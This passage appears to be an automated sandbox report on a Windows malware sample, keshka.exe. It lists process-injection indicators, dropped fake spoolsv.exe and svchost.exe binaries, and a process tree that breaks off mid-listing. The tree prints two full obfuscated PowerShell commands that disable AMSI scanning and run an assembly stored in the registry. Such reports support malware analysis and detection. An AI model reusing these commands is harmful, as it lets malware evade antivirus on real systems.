Token: SeSystemtimePrivilege	2308	svchost.exe
Token: SeBackupPrivilege	2308	svchost.exe
Token: SeRestorePrivilege	2308	svchost.exe
Token: SeShutdownPrivilege	2308	svchost.exe
Token: SeSystemEnvironmentPrivilege	2308	svchost.exe
Token: SeUndockPrivilege	2308	svchost.exe
Token: SeManageVolumePrivilege	2308	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2308	svchost.exe
Token: SeIncreaseQuotaPrivilege	2308	svchost.exe
Token: SeSecurityPrivilege	2308	svchost.exe
Token: SeTakeOwnershipPrivilege	2308	svchost.exe
Token: SeLoadDriverPrivilege	2308	svchost.exe
Token: SeSystemtimePrivilege	2308	svchost.exe
Token: SeBackupPrivilege	2308	svchost.exe
Token: SeRestorePrivilege	2308	svchost.exe
Token: SeShutdownPrivilege	2308	svchost.exe
Token: SeSystemEnvironmentPrivilege	2308	svchost.exe
Token: SeUndockPrivilege	2308	svchost.exe
Token: SeManageVolumePrivilege	2308	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2308	svchost.exe
Token: SeIncreaseQuotaPrivilege	2308	svchost.exe
Token: SeSecurityPrivilege	2308	svchost.exe
Token: SeTakeOwnershipPrivilege	2308	svchost.exe
Token: SeLoadDriverPrivilege	2308	svchost.exe
Token: SeSystemtimePrivilege	2308	svchost.exe
Token: SeBackupPrivilege	2308	svchost.exe
Token: SeRestorePrivilege	2308	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 2676	8	keshka.exe	88
PID 2676 wrote to memory of 4416	2676	spoolsv.exe	96
PID 2676 wrote to memory of 568	2676	spoolsv.exe	98
PID 2676 wrote to memory of 2356	2676	spoolsv.exe	101
PID 2676 wrote to memory of 3840	2676	spoolsv.exe	114
PID 3840 wrote to memory of 3972	3840	cmd.exe	116
PID 3972 wrote to memory of 1404	3972	f.exe	121
PID 3972 wrote to memory of 1404	3972	f.exe	121
PID 3972 wrote to memory of 1404	3972	f.exe	121
PID 3972 wrote to memory of 1404	3972	f.exe	121
PID 3972 wrote to memory of 1404	3972	f.exe	121
PID 1644 wrote to memory of 2152	1644	cmd.exe	126
PID 1988 wrote to memory of 2708	1988	powershell.EXE	136
PID 1988 wrote to memory of 2708	1988	powershell.EXE	136
PID 1988 wrote to memory of 2708	1988	powershell.EXE	136
PID 1988 wrote to memory of 2708	1988	powershell.EXE	136
PID 1988 wrote to memory of 2708	1988	powershell.EXE	136
PID 5648 wrote to memory of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 wrote to memory of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 wrote to memory of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 wrote to memory of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 wrote to memory of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 wrote to memory of 1264	5648	rjyzvekkqzsi.exe	141
PID 5648 wrote to memory of 1264	5648	rjyzvekkqzsi.exe	141
PID 5648 wrote to memory of 1264	5648	rjyzvekkqzsi.exe	141
PID 1684 wrote to memory of 2992	1684	cmd.exe	142
PID 2708 wrote to memory of 616	2708	dllhost.exe	5
PID 2708 wrote to memory of 680	2708	dllhost.exe	7
PID 2708 wrote to memory of 884	2708	dllhost.exe	11
PID 2708 wrote to memory of 1020	2708	dllhost.exe	13
PID 2708 wrote to memory of 400	2708	dllhost.exe	14
PID 2708 wrote to memory of 1064	2708	dllhost.exe	16
PID 2708 wrote to memory of 1124	2708	dllhost.exe	17
PID 2708 wrote to memory of 1132	2708	dllhost.exe	18
PID 2708 wrote to memory of 1200	2708	dllhost.exe	20
PID 2708 wrote to memory of 1212	2708	dllhost.exe	21
PID 2708 wrote to memory of 1336	2708	dllhost.exe	22
PID 2708 wrote to memory of 1344	2708	dllhost.exe	23
PID 2708 wrote to memory of 1352	2708	dllhost.exe	24
PID 2708 wrote to memory of 1440	2708	dllhost.exe	25
PID 2708 wrote to memory of 1448	2708	dllhost.exe	26
PID 2708 wrote to memory of 1560	2708	dllhost.exe	27
PID 2708 wrote to memory of 1772	2708	dllhost.exe	28
PID 2708 wrote to memory of 1780	2708	dllhost.exe	29
PID 2708 wrote to memory of 1792	2708	dllhost.exe	30
PID 2708 wrote to memory of 1892	2708	dllhost.exe	31
PID 2708 wrote to memory of 1924	2708	dllhost.exe	32
PID 2708 wrote to memory of 1944	2708	dllhost.exe	33
PID 2708 wrote to memory of 2032	2708	dllhost.exe	34
PID 2708 wrote to memory of 1952	2708	dllhost.exe	35
PID 2708 wrote to memory of 1164	2708	dllhost.exe	36
PID 2708 wrote to memory of 2068	2708	dllhost.exe	37
PID 2708 wrote to memory of 2144	2708	dllhost.exe	38
PID 2708 wrote to memory of 2216	2708	dllhost.exe	39
PID 2708 wrote to memory of 2300	2708	dllhost.exe	41
PID 2708 wrote to memory of 2308	2708	dllhost.exe	42

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:400
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{026525b9-02dd-4057-a3b2-f9996b0979f2}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2708
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5555ce00-1112-44a9-9f8c-84aede4ef590}
  2⤵
  PID:5848

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b955672b-74f3-4f06-aab8-0b9271fb6390 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5dffe6ea-4737-4677-9d19-6b666c397220 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-abe67b15-70de-4caf-bad4-3af4a45678fe -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fb34b625-4563-48db-b13d-16c148159ec8 -LifetimeId:0b8cf50c-559e-4791-b210-aa7ce25e867f -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1200
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:564
- C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1852
- C:\Program Files (x86)\Common Files\spoolsv.exe
  "C:\Program Files (x86)\Common Files\spoolsv.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5276
- C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1476
- C:\Program Files (x86)\Common Files\spoolsv.exe
  "C:\Program Files (x86)\Common Files\spoolsv.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5772
- C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5576
- C:\Program Files (x86)\Common Files\spoolsv.exe
  "C:\Program Files (x86)\Common Files\spoolsv.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:VuqVUOsUPrIe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NtnhbFoFlarkMC,[Parameter(Position=1)][Type]$TculTLaFvH)$fyctwMqThyH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+'cte'+[Char](100)+''+[Char](68)+''+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+'d'+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+'eg'+[Char](97)+'t'+'e'+''+'T'+'ype',''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+','+'P'+'u'+''+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+','+'Ans'+[Char](105)+''+'C'+''+'l'+''+'a'+''+[Char](115)+''+'s'+',A'+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$fyctwMqThyH.DefineConstructor(''+'R'+'TS'+'p'+'ec'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+'i'+''+[Char](103)+',P'+[Char](117)+''+'b'+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$NtnhbFoFlarkMC).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+'e'+''+[Char](100)+'');$fyctwMqThyH.DefineMethod('I'+'n'+''+[Char](118)+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+'Ne'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+'V'+''+[Char](105)+''+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$TculTLaFvH,$NtnhbFoFlarkMC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+'me'+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'ed');Write-Output $fyctwMqThyH.CreateType();}$JmmkCGfugMoFP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+'eN'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+'o'+[Char](100)+'s');$GZXqHYaVvazAYZ=$JmmkCGfugMoFP.GetMethod(''+'G'+''+[Char](101)+'tP'+[Char](114)+''+'o'+''+'c'+'A'+'d'+''+'d'+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TlEWIVnnPQZHdrremoD=VuqVUOsUPrIe @([String])([IntPtr]);$nwBXHZHHLefVGgbcwIxVdw=VuqVUOsUPrIe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$CJvyWWnDxvx=$JmmkCGfugMoFP.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'M'+'o'+'d'+'u'+'l'+[Char](101)+'H'+'a'+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+'ne'+[Char](108)+''+'3'+'2'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$hpjDwINLwwHvpm=$GZXqHYaVvazAYZ.Invoke($Null,@([Object]$CJvyWWnDxvx,[Object]('Lo'+[Char](97)+''+'d'+''+'L'+'i'+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$MBdBRVBgAROwjXUIn=$GZXqHYaVvazAYZ.Invoke($Null,@([Object]$CJvyWWnDxvx,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+'a'+''+[Char](108)+''+'P'+''+[Char](114)+'o'+[Char](116)+'e'+'c'+''+[Char](116)+'')));$HWRBBGF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hpjDwINLwwHvpm,$TlEWIVnnPQZHdrremoD).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$cGTuOpBzlJwdxFkqb=$GZXqHYaVvazAYZ.Invoke($Null,@([Object]$HWRBBGF,[Object](''+[Char](65)+'ms'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$KmQYPPIkcR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBdBRVBgAROwjXUIn,$nwBXHZHHLefVGgbcwIxVdw).Invoke($cGTuOpBzlJwdxFkqb,[uint32]8,4,[ref]$KmQYPPIkcR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cGTuOpBzlJwdxFkqb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MBdBRVBgAROwjXUIn,$nwBXHZHHLefVGgbcwIxVdw).Invoke($cGTuOpBzlJwdxFkqb,[uint32]8,0x20,[ref]$KmQYPPIkcR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+'l'+'e'+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sFRZRdaiLHOb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wnrFYqeDZpKPZU,[Parameter(Position=1)][Type]$bCXHMyjznq)$GtkGydgXbkg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+'t'+[Char](101)+'T'+[Char](121)+'p'+[Char](101)+'',''+'C'+'l'+[Char](97)+'ss'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+','+[Char](83)+'e'+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+','+'A'+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+'ass',[MulticastDelegate]);$GtkGydgXbkg.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+'me'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wnrFYqeDZpKPZU).SetImplementationFlags('R'+'u'+'nt'+[Char](105)+''+[Char](109)+'e,'+'M'+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$GtkGydgXbkg.DefineMethod(''+'I'+''+[Char](110)+''+'v'+'o'+'k'+''+[Char](101)+'',''+[Char](80)+'u'+'b'+'l'+[Char](105)+'c'+','+''+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$bCXHMyjznq,$wnrFYqeDZpKPZU).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'time,'+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $GtkGydgXbkg.CreateType();}$fyOAuETYOUxcm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+'ic'+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n3'+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+'M'+'e'+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$wxbqedBsMaKnpq=$fyOAuETYOUxcm.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+'A'+''+'d'+''+[Char](100)+'r'+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+'l'+[Char](105)+'c'+','+''+[Char](83)+''+'t'+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DkcSChONlbJVOawmOix=sFRZRdaiLHOb @([String])([IntPtr]);$UwdDQuMAxrOFdTUQIFsYSO=sFRZRdaiLHOb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jRRwJTKTEfO=$fyOAuETYOUxcm.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+''+'n'+''+'e'+''+[Char](108)+'32'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$HcsSLBrnhYDEjj=$wxbqedBsMaKnpq.Invoke($Null,@([Object]$jRRwJTKTEfO,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$bcWlBPzxQtgGqmdDX=$wxbqedBsMaKnpq.Invoke($Null,@([Object]$jRRwJTKTEfO,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$JLqStcK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HcsSLBrnhYDEjj,$DkcSChONlbJVOawmOix).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+'l');$FpvDHZPfcpISyBUTb=$wxbqedBsMaKnpq.Invoke($Null,@([Object]$JLqStcK,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+[Char](83)+''+[Char](99)+'an'+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$NZUNvHaRrg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bcWlBPzxQtgGqmdDX,$UwdDQuMAxrOFdTUQIFsYSO).Invoke($FpvDHZPfcpISyBUTb,[uint32]8,4,[ref]$NZUNvHaRrg);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FpvDHZPfcpISyBUTb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bcWlBPzxQtgGqmdDX,$UwdDQuMAxrOFdTUQIFsYSO).Invoke($FpvDHZPfcpISyBUTb,[uint32]8,0x20,[ref]$NZUNvHaRrg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+[Char](97)+'l'+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1560
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2144

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3252

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3320
- C:\Users\Admin\AppData\Local\Temp\keshka.exe
  "C:\Users\Admin\AppData\Local\Temp\keshka.exe"
  2⤵
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Program Files (x86)\Common Files\spoolsv.exe
    "C:\Program Files (x86)\Common Files\spoolsv.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4416
  - - C:\Program Files\Google\Chrome\Application\spoolsv.exe
